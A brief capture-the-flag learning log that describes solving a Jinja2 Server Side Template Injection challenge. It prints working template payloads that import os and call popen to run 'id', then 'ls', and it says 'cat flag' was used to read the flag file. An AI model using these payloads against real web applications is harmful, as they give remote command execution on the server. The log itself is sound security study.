🧠What I Practiced/Learned/Discovered
- Learned about Server Side Template Injection
🔧 Tools used
Programming language
Pythonpopen
Linux shell
lscat
Steps
- Searched about Server Side Template Injection
- Found this article : https://onsecurity.io/article/server-side-template-injection-with-jinja2/
- Tested the 1st example :
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}popenis a command that let me run terminal commands : https://www.tutorialspoint.com/python/os_popen.htm
- Tried replacing
idin popen bylsto see if the command is run{{request.application.__globals__.__builtins__.__import__('os').popen('ls').read()}} - It worked and showed the list of files with a file called
flag - Replaced
lsbycat flagand got the flag !!